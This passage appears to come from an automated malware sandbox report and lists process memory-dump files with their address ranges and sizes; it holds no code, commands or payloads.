                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-5-0x000001932CAB0000-0x000001932CAD2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3036-414-0x00007FFD5A820000-0x00007FFD5B20C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4848-133-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4848-132-0x00000000001D0000-0x00000000001F0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      128KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-415-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-416-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-417-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-418-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-419-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-420-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-421-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-422-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-423-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-424-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-425-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-426-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-427-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-428-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4864-429-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      12.2MB